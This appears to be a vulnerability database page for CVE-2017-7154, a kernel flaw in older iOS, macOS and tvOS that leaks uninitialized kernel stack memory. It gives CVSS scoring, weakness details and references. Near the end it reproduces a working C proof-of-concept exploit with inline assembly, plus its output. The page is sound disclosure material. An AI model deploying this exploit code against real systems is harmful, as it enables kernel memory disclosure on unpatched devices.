CVE-2017-7154 : Detail

CVE-2017-7154

6.6
/
Medium
A03-Injection
0.09%V4
Local
2017-12-25
20h00 +00:00
2018-02-24
09h57 +00:00
CVE.org
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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.2 is affected. macOS before 10.13.2 is affected. tvOS before 11.2 is affected. The issue involves the "Kernel" component. It allows local users to bypass intended memory-read restrictions or cause a denial of service (system crash).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.6 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5.6 AV:L/AC:L/Au:N/C:P/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43521

Publication date : 2018-01-10 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* The syscall process_policy(scope=PROC_POLICY_SCOPE_PROCESS, action=PROC_POLICY_ACTION_GET, policy=PROC_POLICY_RESOURCE_USAGE, policy_subtype=PROC_POLICY_RUSAGE_CPU, attrp=<userbuf>, target_pid=0, target_threadid=<ignored>) causes 4 bytes of uninitialized kernel stack memory to be written to userspace. The call graph looks as follows: process_policy handle_cpuuse proc_get_task_ruse_cpu task_get_cpuusage [writes scope=1/2/4/0] [always returns zero] [writes policyp if scope!=0] [always returns zero] copyout If task_get_cpuusage() set `*scope=0` because none of the flags TASK_RUSECPU_FLAGS_PERTHR_LIMIT, TASK_RUSECPU_FLAGS_PROC_LIMIT and TASK_RUSECPU_FLAGS_DEADLINE are set in task->rusage_cpu_flags, proc_get_task_ruse_cpu() does not write anything into `*policyp`, meaning that `cpuattr.ppattr_cpu_attr` in handle_cpuuse() remains uninitialized. task_get_cpuusage() and proc_get_task_ruse_cpu() always return zero, so handle_cpuuse() will copy `cpuattr`, including the unititialized `ppattr_cpu_attr` field, to userspace. Tested on a Macmini7,1 running macOS 10.13 (17A405), Darwin 17.0.0: $ cat test.c */ #include <stdint.h> #include <stdio.h> #include <inttypes.h> struct proc_policy_cpuusage_attr { uint32_t ppattr_cpu_attr; uint32_t ppattr_cpu_percentage; uint64_t ppattr_cpu_attr_interval; uint64_t ppattr_cpu_attr_deadline; }; void run(void) { int retval; struct proc_policy_cpuusage_attr attrs = {0,0,0,0}; asm volatile( "mov $0x02000143, %%rax\n\t" // process_policy "mov $1, %%rdi\n\t" // PROC_POLICY_SCOPE_PROCESS "mov $11, %%rsi\n\t" // PROC_POLICY_ACTION_GET "mov $4, %%rdx\n\t" // PROC_POLICY_RESOURCE_USAGE "mov $3, %%r10\n\t" // PROC_POLICY_RUSAGE_CPU "mov %[userptr], %%r8\n\t" "mov $0, %%r9\n\t" // PID 0 (self) // target_threadid is unused "syscall\n\t" : //out "=a"(retval) : //in [userptr] "r"(&attrs) : //clobber "cc", "memory", "rdi", "rsi", "rdx", "r10", "r8", "r9" ); printf("retval = %d\n", retval); printf("ppattr_cpu_attr = 0x%"PRIx32"\n", attrs.ppattr_cpu_attr); printf("ppattr_cpu_percentage = 0x%"PRIx32"\n", attrs.ppattr_cpu_percentage); printf("ppattr_cpu_attr_interval = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_interval); printf("ppattr_cpu_attr_deadline = 0x%"PRIx64"\n", attrs.ppattr_cpu_attr_deadline); } int main(void) { run(); return 0; } /* $ gcc -Wall -o test test.c $ ./test retval = 0 ppattr_cpu_attr = 0x1a180ccb ppattr_cpu_percentage = 0x0 ppattr_cpu_attr_interval = 0x0 ppattr_cpu_attr_deadline = 0x0 That looks like the lower half of a pointer or so. */

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 11.2

Apple>>Mac_os_x >> Version To (excluding) 10.13.2

Apple>>Tvos >> Version To (excluding) 11.2

References

https://support.apple.com/HT208331
Tags : x_refsource_CONFIRM
https://support.apple.com/HT208327
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/103134
Tags : vdb-entry, x_refsource_BID
https://support.apple.com/HT208334
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/43521/
Tags : exploit, x_refsource_EXPLOIT-DB